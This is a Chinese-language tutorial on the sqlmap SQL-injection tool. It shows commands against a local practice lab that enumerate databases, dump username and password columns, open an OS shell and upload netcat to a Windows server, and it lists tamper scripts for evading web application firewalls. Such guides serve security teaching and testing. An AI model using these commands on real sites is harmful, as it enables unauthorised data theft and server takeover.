sqlmap详解
sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:
- 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
- 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
- 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
- 4 联合查询注入,可以使用union的情况下的注入;
- 5 堆查询注入,可以同时执行多条语句的执行时的注入。
1.安装sqlmap
- 下载及安装:https://github.com/sqlmapproject/sqlmap
2.sqlmap入门
.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #参数大于1时加双引号 .判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用 .查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs .获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables .获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns .获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump .获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users .获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password .获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db .获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user
3.sqlmap进阶:参数讲解
.--level=:探测等级,-,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。 .--id-dba:当前用户是否为管理权限 .--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候 .--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入 .--sql-shell:运行自定义sql语句 .--os-cmd,--os-shell:运行任意操作系统命令 .--file-read "C:/example.exe":从数据库服务器中读取文件 .sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中
4.sqlmap自带绕过脚本tamper的讲解
--identify-waf可以检查网站是否有安全防护(WAF/IDS/IPS)
--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
命令:sqlmap.py -u "URL" --tamper "模块名"
目前官方提供53个绕过脚本,比如
apostrophemask.py #将引号替换为UTF-,用于过滤单引号
base64encode.py #替换为base64编码
multiplespaces.py #围绕sql关键字添加多个空格
space2plus.py #用+号替换空格
nonrecursivereplacement.py #作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
space2randomblank.py #将空格替换为其他有效字符
unionalltounion.py #将union all select 替换为union select
securesphere.py #追加特制的字符串
space2hash.py #将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py #(mssql)将空格替换为其他空符号
space2mssqlhash.py #将空格替换为#号,并添加一个换行符
between.py #用NOT BETWEEN AND替换大于号,用BETWEEN AND替换等号
percentage.py #ASP允许在每个字符前面添加一个%号
sp_password.py #从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py #对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py #随机大小写
charunicodeencode.py #字符串Unicode编码
space2comment.py #将空格替换为/**/
equaltolike.py #将等号替换为like
greatest.py #绕过对>的过滤,用GREATEST替换大于号
ifnull2ifisnull.py #绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py #过滤空格,使用Mysql内联注释的方法进行注入
space2mysqlblank.py #将空格替换为其他空白符号(使用户MySQL)
modsecurityzeroversioned.py #使用mysql内联注释(/*! 00000*/)的方式进行注入
space2mysqldash.py #将空格替换为--,并添加一个换行符。
bluecoat.py #在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。
versionedkeywords.py #注释绕过
halfversionedmorekeywords.py #当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释
space2morehash.py #将空格替换为#号,并添加一个随机字符串和换行符。
apostrophenullencode.py #用非法双字节unicode字符替换单引号
appendnullbyte.py #在有效载荷的结束为止加载零字节字符编码
chardoubleencode.py #对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py #用一个多字节组合(%bf%)和末尾通用注释一起替换空格。
randomcomments.py #用/**/分割sql关键字
sqlmap详解的更多相关文章
- sqlmap 详解
sqlmap 使用总结 0x01 需要了解 当给 sqlmap 这么一个 url 的时候,它会:1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户 ...
- 详解强大的SQL注入工具——SQLMAP
1. 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...
- sqlmap命令详解
cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 ...
- SQLMAP使用详解
使用示例 python sqlmap.py -u "http://xx.com/member.php?id=XX" -p id --dbms "Mysql" ...
- Sqlmap全参数详解
sqlmap全参数详解 sqlmap是在sql注入中非常常用的一款工具,由于其开源性,适合从个人到企业,从学习到实战,各领域各阶段的应用,我们还可以将它改造成我们自己独有的渗透利器.这款工具中,大大小 ...
- sqlmap用户手册详解【实用版】
网上的sqlmap教程很多,但是我自己备忘小笔记都是在我的电脑上存着了,万一我要出去玩的时候,有点忘了,还得再百度翻翻,还不如发到我自己知乎上,忘了立马一看就记着了.虽说我的sqlmap备忘小笔记汇总 ...
- Sqlmap 工具用法详解
Sqlmap 工具用法详解 sqlmap是一款自动化的sql注入工具. 1.主要功能:扫描.发现.利用给定的url的sql注入漏 ...
- sqlMapConfig.xml配置文件详解
sqlMapConfig.xml配置文件详解: Xml代码 Xml代码 <? xml version="1.0" encoding="UTF-8" ?& ...
- Mybatis配置详解
一.SqlSession的使用范围说明 1.SQLSessionFactoryBuilder 通过SqlSessionFactoryBuilder创建会话工厂SqlSessionFactory, ...
随机推荐
- MySQL rand(随机数)、floor(保留整数)、char(ASCII 转字符)、concat(字符串连接)
一.MySQL的rand()函数 select rand(); rand()函数,随机0-1之间的数. 二.获得0-10之间的整数(包含0,不包含10) ; 其中floor()去掉小数. 三.获得指定 ...
- Bar条形图
import matplotlib.pyplot as plt import numpy as np n = 12 X = np.arange(n) Y1 = (1 - X / float(n)) * ...
- webpack插件
插件 plugins:[ new ExtractTextPlugin.extrct({ }) //创建html new HtmlWebpackPlugin({ title:"first pa ...
- 记一个 Base64 有关的 Bug
本文原计划写两部分内容,第一是记录最近遇到的与 Base64 有关的 Bug,第二是 Base64 编码的原理详解.结果写了一半发现,诶?不复杂的一个事儿怎么也要讲这么长?不利于阅读和理解啊(其实是今 ...
- KEMET新型电容器推动了电动汽车技术的发展
前言:KEMET成立于1919年,总部位于佛罗里达州劳德代尔堡,是全球领先的高端电子组件供应商,KEMET为客户提供业内最广泛的电容器技术选择,以及不断扩大的机电设备,电磁兼容性解决方案和超级电容器. ...
- MySQL的字符集和乱码问题
1.字符集知识 #概述 .字符集是一套文字符号及其编码.比较规则的集合,第一个计算机字符串ASC2 .mysql数据库字符集包括字符集(character)和 校对规则,其中字符集使用来定义mysql ...
- Java基础--Java基本数据类型
一.基本数据类型(primitive type) (1)数值型 1.数值型包括整数类型(byte,short,int,long) a.byte :1字节=8bit位 (-128~127) 包装类: ...
- Kafka体系架构详细分解
我的个人博客排版更舒服: https://www.luozhiyun.com/archives/260 基本概念 Kafka 体系架构 Kafka 体系架构包括若干 Producer.若干 Broke ...
- C++冒险攻略(持续更新中。。。)
C++语言程序设计 我的C++冒险之旅 绪论 计算机系统基本概念 计算机硬件 计算机程序语言 计算机解决问题是程序控制的 程序就是操作步骤 程序要使用语言来表达 机器语言 计算机能识别的是机器语言 机 ...
- 运维介绍以及虚拟机,centos安装
运维的职责 1.企业的数据安全 2.网站7*24小时运行 3.企业服务好 服务器 服务器尺寸: 高度为单位:U(unit)1U=1.75英寸=4.45cm 服务器的分类: 机架式服务器 刀片式服务器 ...